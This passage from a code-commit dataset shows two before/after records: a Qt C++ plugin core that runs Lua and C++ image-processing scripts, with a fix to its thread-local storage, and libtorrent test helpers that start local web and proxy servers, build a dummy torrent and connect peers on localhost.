+ 1];\r\n\tmemcpy(ret, &s[0], n);\r\n\tret[n] = 0;\r\n\treturn ret;\r\n}\r\n\r\nImageOperationResultExternal to_ImageOperationResultExternal(const ImageOperationResult &src){\r\n\tImageOperationResultExternal ret;\r\n\tret.success = src.success;\r\n\tstatic_assert(sizeof(ret.results) == sizeof(src.results), \"Inconsistent struct definitions!\");\r\n\tmemcpy(ret.results, src.results, sizeof(ret.results));\r\n\tret.message = clone_string(src.message);\r\n\treturn ret;\r\n}\r\n\r\nnamespace lua_implementations{\r\n#define LUA_FUNCTION_SIGNATURE(rt, x, ...) rt x(external_state state, __VA_ARGS__)\r\n\r\nLUA_FUNCTION_SIGNATURE(void, release_returned_string, char *s){\r\n\tdelete[] s;\r\n}\r\n\r\nLUA_FUNCTION_SIGNATURE(void, show_message_box, const char *title, const char *message, bool is_error){\r\n\tQMessageBox msgbox;\r\n\tif (title)\r\n\t\tmsgbox.setWindowTitle(QString::fromUtf8(title));\r\n\tmsgbox.setText(QString::fromUtf8(message));\r\n\tif (is_error)\r\n\t\tmsgbox.setIcon(QMessageBox::Critical);\r\n\tmsgbox.exec();\r\n}\r\n\r\nLUA_FUNCTION_SIGNATURE(ImageOperationResultExternal, get_image_info, int handle, image_info *info){\r\n\tImageOperationResultExternal ret;\r\n\tauto This = (PluginCoreState *)state;\r\n\tauto image = This->get_store().get_image(handle);\r\n\tif (!image){\r\n\t\tret.success = false;\r\n\t\tret.message = clone_string(HANDLE_NOT_FOUND_MSG);\r\n\t\treturn ret;\r\n\t}\r\n\tinfo->handle = handle;\r\n\tunsigned stride, pitch;\r\n\tinfo->pixels = image->get_pixels_pointer(stride, pitch);\r\n\tinfo->stride = stride;\r\n\tinfo->pitch = pitch;\r\n\tauto temp = image->get_dimensions();\r\n\tinfo->w = temp.results[0];\r\n\tinfo->h = temp.results[1];\r\n\tret.success = true;\r\n\treturn ret;\r\n}\r\n\r\nLUA_FUNCTION_SIGNATURE(ImageOperationResultExternal, load_image, const char *path){\r\n\tauto This = (PluginCoreState *)state;\r\n\treturn to_ImageOperationResultExternal(This->get_store().load(path));\r\n}\r\n\r\nLUA_FUNCTION_SIGNATURE(ImageOperationResultExternal, unload_image, int handle){\r\n\tauto This = (PluginCoreState *)state;\r\n\treturn to_ImageOperationResultExternal(This->get_store().unload(handle));\r\n}\r\n\r\nLUA_FUNCTION_SIGNATURE(ImageOperationResultExternal, allocate_image, int w, int h){\r\n\tauto This = (PluginCoreState *)state;\r\n\treturn to_ImageOperationResultExternal(This->get_store().allocate(w, h));\r\n}\r\n\r\nLUA_FUNCTION_SIGNATURE(ImageOperationResultExternal, save_image, int handle, const char *path, int compression, const char *format){\r\n\tauto This = (PluginCoreState *)state;\r\n\tSaveOptions opt;\r\n\topt.compression = compression;\r\n\tif (format)\r\n\t\topt.format = format;\r\n\treturn to_ImageOperationResultExternal(This->get_store().save(handle, QString::fromUtf8(path), opt));\r\n}\r\n\r\nLUA_FUNCTION_SIGNATURE(int, get_caller_image){\r\n\tauto This = (PluginCoreState *)state;\r\n\treturn This->get_caller_image_handle();\r\n}\r\n\r\nLUA_FUNCTION_SIGNATURE(void, display_in_current_window, int handle){\r\n\tauto This = (PluginCoreState *)state;\r\n\tThis->display_in_caller(handle);\r\n}\r\n\r\nLUA_FUNCTION_SIGNATURE(void, debug_print, const char *string){\r\n#ifdef WIN32\r\n\tauto temp = QString::fromUtf8(string);\r\n\tOutputDebugStringW(temp.toStdWString().c_str());\r\n#endif\r\n}\r\n\r\n}\r\n\r\nLuaInterpreterParameters PluginCoreState::construct_LuaInterpreterParameters(){\r\n\tLuaInterpreterParameters ret;\r\n\tret.state = this;\r\n#define PASS_FUNCTION_TO_LUA(x) ret.x = lua_implementations::x\r\n\tPASS_FUNCTION_TO_LUA(release_returned_string);\r\n\tPASS_FUNCTION_TO_LUA(show_message_box);\r\n\tPASS_FUNCTION_TO_LUA(get_image_info);\r\n\tPASS_FUNCTION_TO_LUA(load_image);\r\n\tPASS_FUNCTION_TO_LUA(unload_image);\r\n\tPASS_FUNCTION_TO_LUA(allocate_image);\r\n\tPASS_FUNCTION_TO_LUA(save_image);\r\n\tPASS_FUNCTION_TO_LUA(get_caller_image);\r\n\tPASS_FUNCTION_TO_LUA(display_in_current_window);\r\n\tPASS_FUNCTION_TO_LUA(debug_print);\r\n\r\n\treturn ret;\r\n}\r\n\r\nnamespace cpp_implementations{\r\n\r\nQThreadStorage<void *> tls;\r\n\r\n#define CPP_FUNCTION_SIGNATURE(rt, x, ...) rt x(external_state state, __VA_ARGS__)\r\n\r\nCPP_FUNCTION_SIGNATURE(void, release_returned_string, char *s){\r\n\tdelete[] s;\r\n}\r\n\r\nCPP_FUNCTION_SIGNATURE(void, store_tls, void *s){\r\n\tauto This = (PluginCoreState *)tls.localData();\r\n\tThis->store_tls(s);\r\n}\r\n\r\nCPP_FUNCTION_SIGNATURE(void *, retrieve_tls){\r\n\tauto This = (PluginCoreState *)tls.localData();\r\n\treturn This->retrieve_tls();\r\n}\r\n\r\n}\r\n\r\nCppInterpreterParameters PluginCoreState::construct_CppInterpreterParameters(){\r\n\tCppInterpreterParameters ret;\r\n\tret.state = this;\r\n\tret.caller_image = this->get_caller_image_handle();\r\n#define PASS_FUNCTION_TO_CPP(x) ret.x = cpp_implementations::x\r\n\tPASS_FUNCTION_TO_CPP(release_returned_string);\r\n\tPASS_FUNCTION_TO_CPP(store_tls);\r\n\tPASS_FUNCTION_TO_CPP(retrieve_tls);\r\n\r\n\treturn ret;\r\n}\r\n\r\nvoid PluginCoreState::execute_cpp(const QString &path){\r\n\tif (!this->cpp_library.isLoaded()){\r\n\t\tthis->cpp_library.setFileName(\"CppInterpreter\");\r\n\t\tthis->cpp_library.load();\r\n\t}\r\n\tthis->caller_image_handle = -1;\r\n\t{\r\n\t\tQFile file(path);\r\n\t\tfile.open(QFile::ReadOnly);\r\n\t\tif (!file.isOpen())\r\n\t\t\tthrow std::exception(\"Unknown error while reading file.\");\r\n\t}\r\n\r\n\tRESOLVE_FUNCTION(this->cpp_library, new_CppInterpreter);\r\n\tRESOLVE_FUNCTION(this->cpp_library, delete_CppInterpreter);\r\n\tRESOLVE_FUNCTION(this->cpp_library, CppInterpreter_execute);\r\n\tRESOLVE_FUNCTION(this->cpp_library, delete_CppCallResult);\r\n\r\n\tauto params = this->construct_CppInterpreterParameters();\r\n\tstd::shared_ptr<CppInterpreter> interpreter(new_CppInterpreter(&params), [=](CppInterpreter *i){ delete_CppInterpreter(i); });\r\n\r\n\tauto old_tls = cpp_implementations::tls.localData();\r\n\tcpp_implementations::tls.setLocalData(this);\r\n\tauto old_size = this->cpp_tls_size;\r\n\tthis->cpp_tls_size = this->cpp_tls.size();\r\n\r\n\tCallResult result;\r\n\tauto parameter = QDir::toNativeSeparators(path).toUtf8().toStdString();\r\n\tCppInterpreter_execute(&result, interpreter.get(), parameter.c_str());\r\n\tdelete_CppCallResult(&result);\r\n\r\n\tthis->cpp_tls.resize(this->cpp_tls_size);\r\n\tthis->cpp_tls_size = old_size;\r\n\tcpp_implementations::tls.setLocalData(old_tls);\r\n}\r\n\r\nvoid PluginCoreState::store_tls(void *p){\r\n\tif (this->cpp_tls_size == this->cpp_tls.size())\r\n\t\tthis->cpp_tls.push_back(p);\r\n\telse\r\n\t\tthis->cpp_tls.back() = p;\r\n}\r\n\r\nvoid *PluginCoreState::retrieve_tls(){\r\n\tif (this->cpp_tls_size == this->cpp_tls.size())\r\n\t\treturn nullptr;\r\n\treturn this->cpp_tls.back();\r\n}\r\n<commit_msg>Fixed QThreadStorage usage to accommodate lousy Qt implementation.<commit_after>\/*\r\nCopyright (c), Helios\r\nAll rights reserved.\r\n\r\nDistributed under a permissive license. See COPYING.txt for details.\r\n*\/\r\n\r\n#include \"PluginCoreState.h\"\r\n#include \"..\/LoadedImage.h\"\r\n#include \"..\/MainWindow.h\"\r\n#include <QFile>\r\n#include <QFileInfo>\r\n#include <QMessageBox>\r\n#include <QDir>\r\n#ifdef WIN32\r\n#include <Windows.h>\r\n#endif\r\n\r\nconst char * const accepted_cpp_extensions[] = {\r\n\t\"cpp\",\r\n\t\"c\",\r\n\t\"cc\",\r\n\t\"cxx\",\r\n\t\"c++\",\r\n};\r\nconst size_t accepted_cpp_extensions_size = sizeof(accepted_cpp_extensions) \/ sizeof(*accepted_cpp_extensions);\r\n\r\nbool is_cpp_path(const QString &path){\r\n\tauto file_extension = QFileInfo(path).suffix();\r\n\tfor (auto &ext : accepted_cpp_extensions)\r\n\t\tif (!file_extension.compare(QString(ext), Qt::CaseInsensitive))\r\n\t\t\treturn true;\r\n\treturn false;\r\n}\r\n\r\nbool is_lua_path(const QString &path){\r\n\tauto file_extension = QFileInfo(path).suffix().toLower();\r\n\treturn file_extension == \"lua\";\r\n}\r\n\r\nPluginCoreState::PluginCoreState(){\r\n}\r\n\r\nvoid PluginCoreState::execute(const QString &path){\r\n\tif (!QFile::exists(path))\r\n\t\tthrow std::exception(\"File not found.\");\r\n\tif (is_cpp_path(path))\r\n\t\tthis->execute_cpp(path);\r\n\tif (is_lua_path(path))\r\n\t\tthis->execute_lua(path);\r\n}\r\n\r\n#define RESOLVE_FUNCTION(lib, x) auto x = (x##_f)lib.resolve(#x)\r\n\r\nvoid PluginCoreState::execute_lua(const QString &path){\r\n\tif (!this->lua_library.isLoaded()){\r\n\t\tthis->lua_library.setFileName(\"LuaInterpreter\");\r\n\t\tthis->lua_library.load();\r\n\t}\r\n\tthis->caller_image_handle = -1;\r\n\tQFile file(path);\r\n\tfile.open(QFile::ReadOnly);\r\n\tif (!file.isOpen())\r\n\t\tthrow std::exception(\"Unknown error while reading file.\");\r\n\tauto data = file.readAll();\r\n\t\r\n\tauto filename = QFileInfo(path).fileName();\r\n\r\n\tRESOLVE_FUNCTION(this->lua_library, new_LuaInterpreter);\r\n\tRESOLVE_FUNCTION(this->lua_library, delete_LuaInterpreter);\r\n\tRESOLVE_FUNCTION(this->lua_library, LuaInterpreter_execute);\r\n\tRESOLVE_FUNCTION(this->lua_library, delete_LuaCallResult);\r\n\r\n\tauto params = this->construct_LuaInterpreterParameters();\r\n\tstd::shared_ptr<LuaInterpreter> interpreter(new_LuaInterpreter(&params), [=](LuaInterpreter *i){ delete_LuaInterpreter(i); });\r\n\r\n\tCallResult result;\r\n\tLuaInterpreter_execute(&result, interpreter.get(), filename.toUtf8().toStdString().c_str(), data.data(), data.size());\r\n\tdelete_LuaCallResult(&result);\r\n}\r\n\r\nint PluginCoreState::get_caller_image_handle(){\r\n\tif (this->caller_image_handle >= 0)\r\n\t\treturn this->caller_image_handle;\r\n\treturn this->caller_image_handle = this->image_store.store(this->latest_caller->get_image());\r\n}\r\n\r\nvoid PluginCoreState::display_in_caller(int handle){\r\n\tauto image = this->get_store().get_image(handle);\r\n\tif (image)\r\n\t\tthis->latest_caller->display_filtered_image(std::make_shared<LoadedImage>(image->get_bitmap()));\r\n}\r\n\r\nchar *clone_string(const char *s){\r\n\tif (!s)\r\n\t\treturn nullptr;\r\n\tauto n = strlen(s);\r\n\tauto ret = new char[n + 1];\r\n\tmemcpy(ret, s, n);\r\n\tret[n] = 0;\r\n\treturn ret;\r\n}\r\n\r\nchar *clone_string(const std::string &s){\r\n\tauto n = s.size();\r\n\tif (!n)\r\n\t\treturn nullptr;\r\n\tauto ret = new char[n + 1];\r\n\tmemcpy(ret, &s[0], n);\r\n\tret[n] = 0;\r\n\treturn ret;\r\n}\r\n\r\nImageOperationResultExternal to_ImageOperationResultExternal(const ImageOperationResult &src){\r\n\tImageOperationResultExternal ret;\r\n\tret.success = src.success;\r\n\tstatic_assert(sizeof(ret.results) == sizeof(src.results), \"Inconsistent struct definitions!\");\r\n\tmemcpy(ret.results, src.results, sizeof(ret.results));\r\n\tret.message = clone_string(src.message);\r\n\treturn ret;\r\n}\r\n\r\nnamespace lua_implementations{\r\n#define LUA_FUNCTION_SIGNATURE(rt, x, ...) rt x(external_state state, __VA_ARGS__)\r\n\r\nLUA_FUNCTION_SIGNATURE(void, release_returned_string, char *s){\r\n\tdelete[] s;\r\n}\r\n\r\nLUA_FUNCTION_SIGNATURE(void, show_message_box, const char *title, const char *message, bool is_error){\r\n\tQMessageBox msgbox;\r\n\tif (title)\r\n\t\tmsgbox.setWindowTitle(QString::fromUtf8(title));\r\n\tmsgbox.setText(QString::fromUtf8(message));\r\n\tif (is_error)\r\n\t\tmsgbox.setIcon(QMessageBox::Critical);\r\n\tmsgbox.exec();\r\n}\r\n\r\nLUA_FUNCTION_SIGNATURE(ImageOperationResultExternal, get_image_info, int handle, image_info *info){\r\n\tImageOperationResultExternal ret;\r\n\tauto This = (PluginCoreState *)state;\r\n\tauto image = This->get_store().get_image(handle);\r\n\tif (!image){\r\n\t\tret.success = false;\r\n\t\tret.message = clone_string(HANDLE_NOT_FOUND_MSG);\r\n\t\treturn ret;\r\n\t}\r\n\tinfo->handle = handle;\r\n\tunsigned stride, pitch;\r\n\tinfo->pixels = image->get_pixels_pointer(stride, pitch);\r\n\tinfo->stride = stride;\r\n\tinfo->pitch = pitch;\r\n\tauto temp = image->get_dimensions();\r\n\tinfo->w = temp.results[0];\r\n\tinfo->h = temp.results[1];\r\n\tret.success = true;\r\n\treturn ret;\r\n}\r\n\r\nLUA_FUNCTION_SIGNATURE(ImageOperationResultExternal, load_image, const char *path){\r\n\tauto This = (PluginCoreState *)state;\r\n\treturn to_ImageOperationResultExternal(This->get_store().load(path));\r\n}\r\n\r\nLUA_FUNCTION_SIGNATURE(ImageOperationResultExternal, unload_image, int handle){\r\n\tauto This = (PluginCoreState *)state;\r\n\treturn to_ImageOperationResultExternal(This->get_store().unload(handle));\r\n}\r\n\r\nLUA_FUNCTION_SIGNATURE(ImageOperationResultExternal, allocate_image, int w, int h){\r\n\tauto This = (PluginCoreState *)state;\r\n\treturn to_ImageOperationResultExternal(This->get_store().allocate(w, h));\r\n}\r\n\r\nLUA_FUNCTION_SIGNATURE(ImageOperationResultExternal, save_image, int handle, const char *path, int compression, const char *format){\r\n\tauto This = (PluginCoreState *)state;\r\n\tSaveOptions opt;\r\n\topt.compression = compression;\r\n\tif (format)\r\n\t\topt.format = format;\r\n\treturn to_ImageOperationResultExternal(This->get_store().save(handle, QString::fromUtf8(path), opt));\r\n}\r\n\r\nLUA_FUNCTION_SIGNATURE(int, get_caller_image){\r\n\tauto This = (PluginCoreState *)state;\r\n\treturn This->get_caller_image_handle();\r\n}\r\n\r\nLUA_FUNCTION_SIGNATURE(void, display_in_current_window, int handle){\r\n\tauto This = (PluginCoreState *)state;\r\n\tThis->display_in_caller(handle);\r\n}\r\n\r\nLUA_FUNCTION_SIGNATURE(void, debug_print, const char *string){\r\n#ifdef WIN32\r\n\tauto temp = QString::fromUtf8(string);\r\n\tOutputDebugStringW(temp.toStdWString().c_str());\r\n#endif\r\n}\r\n\r\n}\r\n\r\nLuaInterpreterParameters PluginCoreState::construct_LuaInterpreterParameters(){\r\n\tLuaInterpreterParameters ret;\r\n\tret.state = this;\r\n#define PASS_FUNCTION_TO_LUA(x) ret.x = lua_implementations::x\r\n\tPASS_FUNCTION_TO_LUA(release_returned_string);\r\n\tPASS_FUNCTION_TO_LUA(show_message_box);\r\n\tPASS_FUNCTION_TO_LUA(get_image_info);\r\n\tPASS_FUNCTION_TO_LUA(load_image);\r\n\tPASS_FUNCTION_TO_LUA(unload_image);\r\n\tPASS_FUNCTION_TO_LUA(allocate_image);\r\n\tPASS_FUNCTION_TO_LUA(save_image);\r\n\tPASS_FUNCTION_TO_LUA(get_caller_image);\r\n\tPASS_FUNCTION_TO_LUA(display_in_current_window);\r\n\tPASS_FUNCTION_TO_LUA(debug_print);\r\n\r\n\treturn ret;\r\n}\r\n\r\nnamespace cpp_implementations{\r\n\r\nQThreadStorage<uintptr_t> tls;\r\n\r\n#define CPP_FUNCTION_SIGNATURE(rt, x, ...) rt x(external_state state, __VA_ARGS__)\r\n\r\nCPP_FUNCTION_SIGNATURE(void, release_returned_string, char *s){\r\n\tdelete[] s;\r\n}\r\n\r\nCPP_FUNCTION_SIGNATURE(void, store_tls, void *s){\r\n\tauto This = (PluginCoreState *)tls.localData();\r\n\tThis->store_tls(s);\r\n}\r\n\r\nCPP_FUNCTION_SIGNATURE(void *, retrieve_tls){\r\n\tauto This = (PluginCoreState *)tls.localData();\r\n\treturn This->retrieve_tls();\r\n}\r\n\r\n}\r\n\r\nCppInterpreterParameters PluginCoreState::construct_CppInterpreterParameters(){\r\n\tCppInterpreterParameters ret;\r\n\tret.state = this;\r\n\tret.caller_image = this->get_caller_image_handle();\r\n#define PASS_FUNCTION_TO_CPP(x) ret.x = cpp_implementations::x\r\n\tPASS_FUNCTION_TO_CPP(release_returned_string);\r\n\tPASS_FUNCTION_TO_CPP(store_tls);\r\n\tPASS_FUNCTION_TO_CPP(retrieve_tls);\r\n\r\n\treturn ret;\r\n}\r\n\r\nvoid PluginCoreState::execute_cpp(const QString &path){\r\n\tif (!this->cpp_library.isLoaded()){\r\n\t\tthis->cpp_library.setFileName(\"CppInterpreter\");\r\n\t\tthis->cpp_library.load();\r\n\t}\r\n\tthis->caller_image_handle = -1;\r\n\t{\r\n\t\tQFile file(path);\r\n\t\tfile.open(QFile::ReadOnly);\r\n\t\tif (!file.isOpen())\r\n\t\t\tthrow std::exception(\"Unknown error while reading file.\");\r\n\t}\r\n\r\n\tRESOLVE_FUNCTION(this->cpp_library, new_CppInterpreter);\r\n\tRESOLVE_FUNCTION(this->cpp_library, delete_CppInterpreter);\r\n\tRESOLVE_FUNCTION(this->cpp_library, CppInterpreter_execute);\r\n\tRESOLVE_FUNCTION(this->cpp_library, delete_CppCallResult);\r\n\r\n\tauto params = this->construct_CppInterpreterParameters();\r\n\tstd::shared_ptr<CppInterpreter> interpreter(new_CppInterpreter(&params), [=](CppInterpreter *i){ delete_CppInterpreter(i); });\r\n\r\n\tauto old_tls = cpp_implementations::tls.localData();\r\n\tcpp_implementations::tls.setLocalData((uintptr_t)this);\r\n\tauto old_size = this->cpp_tls_size;\r\n\tthis->cpp_tls_size = this->cpp_tls.size();\r\n\r\n\tCallResult result;\r\n\tauto parameter = QDir::toNativeSeparators(path).toUtf8().toStdString();\r\n\tCppInterpreter_execute(&result, interpreter.get(), parameter.c_str());\r\n\tdelete_CppCallResult(&result);\r\n\r\n\tthis->cpp_tls.resize(this->cpp_tls_size);\r\n\tthis->cpp_tls_size = old_size;\r\n\tcpp_implementations::tls.setLocalData(old_tls);\r\n}\r\n\r\nvoid PluginCoreState::store_tls(void *p){\r\n\tif (this->cpp_tls_size == this->cpp_tls.size())\r\n\t\tthis->cpp_tls.push_back(p);\r\n\telse\r\n\t\tthis->cpp_tls.back() = p;\r\n}\r\n\r\nvoid *PluginCoreState::retrieve_tls(){\r\n\tif (this->cpp_tls_size == this->cpp_tls.size())\r\n\t\treturn nullptr;\r\n\treturn this->cpp_tls.back();\r\n}\r\n<|endoftext|>"}
{"text":"<commit_before>#include <fstream>\n#include <sstream>\n\n#include \"libtorrent\/session.hpp\"\n#include \"libtorrent\/hasher.hpp\"\n\n#include <boost\/thread.hpp>\n#include <boost\/tuple\/tuple.hpp>\n#include <boost\/filesystem\/operations.hpp>\n#include <boost\/filesystem\/convenience.hpp>\n\n#include \"test.hpp\"\n#include \"libtorrent\/assert.hpp\"\n#include \"libtorrent\/alert_types.hpp\"\n\nusing boost::filesystem::remove_all;\nusing boost::filesystem::create_directory;\nusing namespace libtorrent;\n\nvoid print_alerts(libtorrent::session& ses, char const* name, bool allow_disconnects, bool allow_no_torrents)\n{\n\tstd::vector<torrent_handle> handles = ses.get_torrents();\n\tTEST_CHECK(!handles.empty() || allow_no_torrents);\n\ttorrent_handle h;\n\tif (!handles.empty()) h = handles[0];\n\tstd::auto_ptr<alert> a;\n\ta = ses.pop_alert();\n\twhile (a.get())\n\t{\n\t\tstd::cerr << name << \": \" << a->msg() << \"\\n\";\n\t\tTEST_CHECK(dynamic_cast<peer_error_alert*>(a.get()) == 0\n\t\t\t|| (!handles.empty() && h.is_seed())\n\t\t\t|| a->msg() == \"connecting to peer\"\n\t\t\t|| a->msg() == \"closing connection to ourself\"\n\t\t\t|| a->msg() == \"duplicate connection\"\n\t\t\t|| (allow_disconnects && a->msg() == \"End of file.\"));\n\t\ta = ses.pop_alert();\n\t}\n}\n\nvoid test_sleep(int millisec)\n{\n\tboost::xtime xt;\n\tboost::xtime_get(&xt, boost::TIME_UTC);\n\tboost::uint64_t nanosec = (millisec % 1000) * 1000000 + xt.nsec;\n\tint sec = millisec \/ 1000;\n\tif (nanosec > 1000000000)\n\t{\n\t\tnanosec -= 1000000000;\n\t\tsec++;\n\t}\n\txt.nsec = nanosec;\n\txt.sec += sec;\n\tboost::thread::sleep(xt);\n}\n\nvoid stop_web_server(int port)\n{\n\tstd::stringstream cmd;\n\tcmd << \"kill `cat .\/lighty\" << port << \".pid` >\/dev\/null\";\n\tsystem(cmd.str().c_str());\n}\n\nvoid start_web_server(int port)\n{\n\tstop_web_server(port);\n\tstd::ofstream f(\".\/lighty_config\");\n\tf << \"server.modules = (\\\"mod_access\\\")\\n\"\n\t\t\"server.document-root = \\\"\" << boost::filesystem::initial_path().string() << \"\\\"\\n\"\n\t\t\"server.range-requests = \\\"enable\\\"\\n\"\n\t\t\"server.port = \" << port << \"\\n\"\n\t\t\"server.pid-file = \\\".\/lighty\" << port << \".pid\\\"\\n\";\n\tf.close();\n\t\n\tsystem(\"lighttpd -f lighty_config &\");\n\ttest_sleep(1000);\n}\n\nvoid stop_proxy(int port)\n{\n\tstd::stringstream cmd;\n\tcmd << \"delegated -P\" << port << \" -Fkill\";\n\tsystem(cmd.str().c_str());\n}\n\nvoid start_proxy(int port, int proxy_type)\n{\n\tusing namespace libtorrent;\n\n\tstop_proxy(port);\n\tstd::stringstream cmd;\n\t\/\/ we need to echo n since dg will ask us to configure it\n\tcmd << \"echo n | delegated -P\" << port << \" ADMIN=test@test.com\";\n\tswitch (proxy_type)\n\t{\n\t\tcase proxy_settings::socks4:\n\t\t\tcmd << \" SERVER=socks4\";\n\t\t\tbreak;\n\t\tcase proxy_settings::socks5:\n\t\t\tcmd << \" SERVER=socks5\";\n\t\t\tbreak;\n\t\tcase proxy_settings::socks5_pw:\n\t\t\tcmd << \" SERVER=socks5 AUTHORIZER=-list{testuser:testpass}\";\n\t\t\tbreak;\n\t\tcase proxy_settings::http:\n\t\t\tcmd << \" SERVER=http\";\n\t\t\tbreak;\n\t\tcase proxy_settings::http_pw:\n\t\t\tcmd << \" SERVER=http AUTHORIZER=-list{testuser:testpass}\";\n\t\t\tbreak;\n\t}\n\tsystem(cmd.str().c_str());\n}\n\nusing namespace libtorrent;\n\ntemplate <class T>\nboost::intrusive_ptr<T> clone_ptr(boost::intrusive_ptr<T> const& ptr)\n{\n\treturn boost::intrusive_ptr<T>(new T(*ptr));\n}\n\nboost::intrusive_ptr<torrent_info> create_torrent(std::ostream* file)\n{\n\tchar const* tracker_url = \"http:\/\/non-existent-name.com\/announce\";\n\t\n\tusing namespace boost::filesystem;\n\n\tboost::intrusive_ptr<torrent_info> t(new torrent_info);\n\tint total_size = 2 * 1024 * 1024;\n\tt->add_file(path(\"temporary\"), total_size);\n\tt->set_piece_size(16 * 1024);\n\tt->add_tracker(tracker_url);\n\n\tstd::vector<char> piece(16 * 1024);\n\tfor (int i = 0; i < int(piece.size()); ++i)\n\t\tpiece[i] = (i % 26) + 'A';\n\t\n\t\/\/ calculate the hash for all pieces\n\tint num = t->num_pieces();\n\tsha1_hash ph = hasher(&piece[0], piece.size()).final();\n\tfor (int i = 0; i < num; ++i)\n\t\tt->set_hash(i, ph);\n\tt->create_torrent();\n\n\tif (file)\n\t{\n\t\twhile (total_size > 0)\n\t\t{\n\t\t\tfile->write(&piece[0], (std::min)(int(piece.size()), total_size));\n\t\t\ttotal_size -= piece.size();\n\t\t}\n\t}\n\t\n\treturn t;\n}\n\nboost::tuple<torrent_handle, torrent_handle, torrent_handle>\nsetup_transfer(session* ses1, session* ses2, session* ses3\n\t, bool clear_files, bool use_metadata_transfer, bool connect_peers\n\t, std::string suffix)\n{\n\tusing namespace boost::filesystem;\n\n\tassert(ses1);\n\tassert(ses2);\n\n\tassert(ses1->id() != ses2->id());\n\tif (ses3)\n\t\tassert(ses3->id() != ses2->id());\n\n\t\n\tcreate_directory(\".\/tmp1\" + suffix);\n\tstd::ofstream file((\".\/tmp1\" + suffix + \"\/temporary\").c_str());\n\tboost::intrusive_ptr<torrent_info> t = create_torrent(&file);\n\tfile.close();\n\tif (clear_files)\n\t{\n\t\tremove_all(\".\/tmp2\" + suffix + \"\/temporary\");\n\t\tremove_all(\".\/tmp3\" + suffix + \"\/temporary\");\n\t}\n\t\n\tstd::cerr << \"generated torrent: \" << t->info_hash() << std::endl;\n\n\tses1->set_severity_level(alert::debug);\n\tses2->set_severity_level(alert::debug);\n\t\n\t\/\/ they should not use the same save dir, because the\n\t\/\/ file pool will complain if two torrents are trying to\n\t\/\/ use the same files\n\tsha1_hash info_hash = t->info_hash();\n\ttorrent_handle tor1 = ses1->add_torrent(clone_ptr(t), \".\/tmp1\" + suffix);\n\tTEST_CHECK(!ses1->get_torrents().empty());\n\ttorrent_handle tor2;\n\ttorrent_handle tor3;\n\tif (ses3)\n\t{\n\t\ttor3 = ses3->add_torrent(clone_ptr(t), \".\/tmp3\" + suffix);\n\t\tTEST_CHECK(!ses3->get_torrents().empty());\n\t}\n\n  \tif (use_metadata_transfer)\n\t\ttor2 = ses2->add_torrent(\"http:\/\/non-existent-name.com\/announce\"\n\t\t, t->info_hash(), 0, \".\/tmp2\" + suffix);\n\telse\n\t\ttor2 = ses2->add_torrent(clone_ptr(t), \".\/tmp2\" + suffix);\n\tTEST_CHECK(!ses2->get_torrents().empty());\n\n\tassert(ses1->get_torrents().size() == 1);\n\tassert(ses2->get_torrents().size() == 1);\n\n\ttest_sleep(100);\n\n\tif (connect_peers)\n\t{\n\t\tstd::cerr << \"connecting peer\\n\";\n\t\ttor1.connect_peer(tcp::endpoint(address::from_string(\"127.0.0.1\")\n\t\t\t, ses2->listen_port()));\n\n\t\tif (ses3)\n\t\t{\n\t\t\t\/\/ give the other peers some time to get an initial\n\t\t\t\/\/ set of pieces before they start sharing with each-other\n\t\t\ttor3.connect_peer(tcp::endpoint(\n\t\t\t\taddress::from_string(\"127.0.0.1\")\n\t\t\t\t, ses2->listen_port()));\n\t\t\ttor3.connect_peer(tcp::endpoint(\n\t\t\t\taddress::from_string(\"127.0.0.1\")\n\t\t\t\t, ses1->listen_port()));\n\t\t}\n\t}\n\n\treturn boost::make_tuple(tor1, tor2, tor3);\n}\n\n<commit_msg>updated tests<commit_after>#include <fstream>\n#include <sstream>\n\n#include \"libtorrent\/session.hpp\"\n#include \"libtorrent\/hasher.hpp\"\n\n#include <boost\/thread.hpp>\n#include <boost\/tuple\/tuple.hpp>\n#include <boost\/filesystem\/operations.hpp>\n#include <boost\/filesystem\/convenience.hpp>\n\n#include \"test.hpp\"\n#include \"libtorrent\/assert.hpp\"\n#include \"libtorrent\/alert_types.hpp\"\n\nusing boost::filesystem::remove_all;\nusing boost::filesystem::create_directory;\nusing namespace libtorrent;\n\nvoid print_alerts(libtorrent::session& ses, char const* name, bool allow_disconnects, bool allow_no_torrents)\n{\n\tstd::vector<torrent_handle> handles = ses.get_torrents();\n\tTEST_CHECK(!handles.empty() || allow_no_torrents);\n\ttorrent_handle h;\n\tif (!handles.empty()) h = handles[0];\n\tstd::auto_ptr<alert> a;\n\ta = ses.pop_alert();\n\twhile (a.get())\n\t{\n\t\tif (a->msg() != \"block downloading\"\n\t\t\t&& a->msg() != \"block finished\"\n\t\t\t&& a->msg() != \"piece finished\")\n\t\t\tstd::cerr << name << \": \" << a->msg() << \"\\n\";\n\t\tTEST_CHECK(dynamic_cast<peer_error_alert*>(a.get()) == 0\n\t\t\t|| (!handles.empty() && h.is_seed())\n\t\t\t|| a->msg() == \"connecting to peer\"\n\t\t\t|| a->msg() == \"closing connection to ourself\"\n\t\t\t|| a->msg() == \"duplicate connection\"\n\t\t\t|| (allow_disconnects && a->msg() == \"End of file.\"));\n\t\ta = ses.pop_alert();\n\t}\n}\n\nvoid test_sleep(int millisec)\n{\n\tboost::xtime xt;\n\tboost::xtime_get(&xt, boost::TIME_UTC);\n\tboost::uint64_t nanosec = (millisec % 1000) * 1000000 + xt.nsec;\n\tint sec = millisec \/ 1000;\n\tif (nanosec > 1000000000)\n\t{\n\t\tnanosec -= 1000000000;\n\t\tsec++;\n\t}\n\txt.nsec = nanosec;\n\txt.sec += sec;\n\tboost::thread::sleep(xt);\n}\n\nvoid stop_web_server(int port)\n{\n\tstd::stringstream cmd;\n\tcmd << \"kill `cat .\/lighty\" << port << \".pid` >\/dev\/null\";\n\tsystem(cmd.str().c_str());\n}\n\nvoid start_web_server(int port)\n{\n\tstop_web_server(port);\n\tstd::ofstream f(\".\/lighty_config\");\n\tf << \"server.modules = (\\\"mod_access\\\")\\n\"\n\t\t\"server.document-root = \\\"\" << boost::filesystem::initial_path().string() << \"\\\"\\n\"\n\t\t\"server.range-requests = \\\"enable\\\"\\n\"\n\t\t\"server.port = \" << port << \"\\n\"\n\t\t\"server.pid-file = \\\".\/lighty\" << port << \".pid\\\"\\n\";\n\tf.close();\n\t\n\tsystem(\"lighttpd -f lighty_config &\");\n\ttest_sleep(1000);\n}\n\nvoid stop_proxy(int port)\n{\n\tstd::stringstream cmd;\n\tcmd << \"delegated -P\" << port << \" -Fkill\";\n\tsystem(cmd.str().c_str());\n}\n\nvoid start_proxy(int port, int proxy_type)\n{\n\tusing namespace 